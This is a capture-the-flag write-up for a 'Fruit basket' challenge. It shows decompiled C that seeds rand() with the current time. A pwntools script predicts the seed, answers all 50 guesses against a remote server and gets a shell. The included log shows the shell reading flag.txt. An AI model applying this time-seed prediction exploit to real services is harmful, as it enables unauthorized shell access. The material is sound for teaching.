Tags: pwn seed
Rating:
# Fruit basket
We were given a [binary](https://gr007.tech/writeups/2023/backdoor/beginner/fruit_basket/chal). The binary when run, asks us to guess a fruit in it's basket.
```sh
backdoor/beginner/fruit_basket on master [!?] via ? v3.11.6
❯ ./chal
There is a basket full of fruits, guess the fruit which I am holding ...
This seems hard, so I will give an awesome reward, something like a shell if you guess all the fruits right :)
The game starts now !
1
Your guess : mango
Oops ! Wrong Guess ..
No shell for you :(
```
Let's look inside the binary with ghidra.
```c
/* DISPLAY WARNING: Type casts are NOT being printed */
undefined8 main(void)
{
int r;
time_t tVar1;
size_t len;
long in_FS_OFFSET;
int i;
char buf [12];
long canary;
char *fruit;
bool shell;
canary = *(in_FS_OFFSET + 0x28);
tVar1 = time(0x0);
srand(tVar1);
shell = true;
puts("There is a basket full of fruits, guess the fruit which I am holding ...");
puts(
"This seems hard, so I will give an awesome reward, something like a shell if you guess all th e fruits right :)"
);
usleep(2000000);
puts("\nThe game starts now !");
i = 0;
do {
if (49 < i) {
LAB_001014ca:
if (shell) {
system("/bin/sh");
}
if (canary != *(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
r = rand();
fruit = fruits[r % 10];
printf("%d\n",i + 1);
printf("Your guess : ");
fgets(buf,12,stdin);
len = strcspn(buf,"\n");
buf[len] = '\0';
len = strlen(fruit);
r = strncmp(fruit,buf,len);
if (r != 0) {
puts("Oops ! Wrong Guess ..");
puts("No shell for you :(");
shell = false;
goto LAB_001014ca;
}
puts("Correct !");
puts("");
i += 1;
} while( true );
}
```
The `fruits` is a global variable stored directly inside the binary which is a two dimensional array that is a list of fruits.
```
00102008 Apple
0010200e Orange
00102015 Mango
0010201b Banana
00102022 Pineapple
0010202c Watermelon
00102037 Guava
0010203d Kiwi
00102042 Strawberry
0010204d Peach
```
We have to guess all 50 fruits right. There seems to be no way of doing a buffer overflow or format string exploit in this code. So we target the seed that is being used to generate all random numbers. If we can use same seed to start our rng, we will arrive at the same random number. But the seed they are using is the system time using `seed(time(0))`. At first I thought well no luck here. But, if we think about it, if both us and the server starts at the same time, we will get the same time and eventually the same seed. The cstdlib `time(0)` returns time int the second resolution. So, we can use the fact that there is not much delay in between our communication, we can basically get the server and our rng to start with the same seed. The following code shows how we can call the cstdlib functions from within python with ctypes and write an exploit to get shell.
```py
#!/usr/bin/env python
from ctypes import CDLL
from pwn import remote, gdb, context, log, p64, process, u64
context.log_level = "debug"
context.terminal = ["tmux", "split-window", "-h"]
fruits = b"\x08\x20\x10\x00\x00\x00\x00\x00\x0e\x20\x10\x00\x00\x00\x00\x00\x15\x20\x10\x00\x00\x00\x00\x00\x1b\x20\x10\x00\x00\x00\x00\x00\x22\x20\x10\x00\x00\x00\x00\x00\x2c\x20\x10\x00\x00\x00\x00\x00\x37\x20\x10\x00\x00\x00\x00\x00\x3d\x20\x10\x00\x00\x00\x00\x00\x42\x20\x10\x00\x00\x00\x00\x00\x4d\x20\x10\x00\x00\x00\x00\x00"
fruits = [u64(fruits[i : i + 8]) for i in range(0, len(fruits), 8)]
fruit_basket = {
0x00102008: b"Apple",
0x0010200E: b"Orange",
0x00102015: b"Mango",
0x0010201B: b"Banana",
0x00102022: b"Pineapple",
0x0010202C: b"Watermelon",
0x00102037: b"Guava",
0x0010203D: b"Kiwi",
0x00102042: b"Strawberry",
0x0010204D: b"Peach",
}
libc = CDLL("libc.so.6")
# p = process("./chal")
p = remote("34.70.212.151", 8006)
seed = libc.time(0)
libc.srand(seed)
log.info(f"using {seed=}")
# gdb.attach(
# p,
# """
# set follow-fork-mode child
# break *(main+318)
# continue
# """,
# )
for i in range(50):
rin = libc.rand() % len(fruits)
fruit = fruit_basket[fruits[rin]]
log.info(f"rand = {rin}, fruit = {fruit}")
try:
p.sendlineafter(b"Your guess : ", fruit)
except: # noqa: E722
break
p.interactive()
```
```sh
backdoor/beginner/fruit_basket on master [!?] via ? v3.11.6
❯ ./sol.py
[+] Starting local process './chal' argv=[b'./chal'] : pid 128256
[*] using seed=1703526848
[*] rand = 7, fruit = b'Kiwi'
[DEBUG] Received 0xb8 bytes:
b'There is a basket full of fruits, guess the fruit which I am holding ...\n'
b'This seems hard, so I will give an awesome reward, something like a shell if you guess all the fruits right :)\n'
[DEBUG] Received 0x26 bytes:
b'\n'
b'The game starts now !\n'
b'1\n'
b'Your guess : '
[DEBUG] Sent 0x5 bytes:
b'Kiwi\n'
[*] rand = 2, fruit = b'Mango'
[DEBUG] Received 0x1a bytes:
b'Correct !\n'
b'\n'
b'2\n'
b'Your guess : '
[DEBUG] Sent 0x6 bytes:
b'Mango\n'
[*] rand = 7, fruit = b'Kiwi'
[DEBUG] Received 0x1a bytes:
b'Correct !\n'
.
.
.
.
b'\n'
b'49\n'
b'Your guess : '
[DEBUG] Sent 0xb bytes:
b'Strawberry\n'
[*] rand = 7, fruit = b'Kiwi'
[DEBUG] Received 0x1b bytes:
b'Correct !\n'
b'\n'
b'50\n'
b'Your guess : '
[DEBUG] Sent 0x5 bytes:
b'Kiwi\n'
[*] Switching to interactive mode
[DEBUG] Received 0xb bytes:
b'Correct !\n'
b'\n'
Correct !
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x16 bytes:
b'chal flag.txt\n'
chal flag.txt
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x22 bytes:
b'flag{fru17s_w3r3nt_r4nd0m_4t_a11}\n'
flag{fru17s_w3r3nt_r4nd0m_4t_a11}
```
flag: `flag{fru17s_w3r3nt_r4nd0m_4t_a11}`